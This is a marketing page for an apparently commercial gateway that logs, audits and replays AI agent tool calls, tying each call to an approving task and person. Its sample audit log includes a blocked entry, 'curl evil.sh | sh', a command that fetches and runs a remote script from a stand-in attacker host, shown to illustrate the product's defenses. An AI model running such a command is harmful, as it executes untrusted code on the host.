See every action
Know exactly what every agent did, and why it was allowed.
Open a PR fixing the failing CI check on billing-api.
- read
github.read
repo: billing-api
- write
github.write
branch: fix/ci
The problem with black-box agents
When an agent runs free against your tools, the only record is whatever scattered logging each tool happens to keep. Reconstructing a single agent run means stitching together Gmail history, Git events, and database logs by hand, and none of them know which task or which person set the work in motion. By the time something looks wrong, the trail is cold and incomplete.
How observability works
Every call, captured
Tool name, arguments, result status, and timing are logged at the gateway, the one place every request already passes through.
Tied to the task
Each entry links to the task that authorized it and the human who approved it, so cause and authority are never ambiguous.
Full traceability
Each entry is written at the gateway as the call happens, so every run leaves a complete, ordered record.
Replayable & exportable
Step through any run after the fact, with the full call history in one place.
gmail.read thread #4821 200
task #4821 · approved by J. Mercer
shell.exec "curl evil.sh | sh" denied
task #4821 · blocked by policy · never executed
github.read repo: billing-api 200
task #4821 · approved by J. Mercer
calendar.read next 14 days 200
task #4821 · approved by J. Mercer
gmail.send thread #4821 sent
task #4821 · approved by J. Mercer
Audits, incident reviews, and 'who approved this' all become a single lookup.
It's one of six power-ups you get from approving the task instead of the tools.
Observability
A full audit trail records each tool call, argument, and decision, replayable and tied back to the task that authorized it.
Let your agents fly. Safely.
Free to start for solo developers. Sign up and put a gateway in front of your agents in minutes. No credit card required.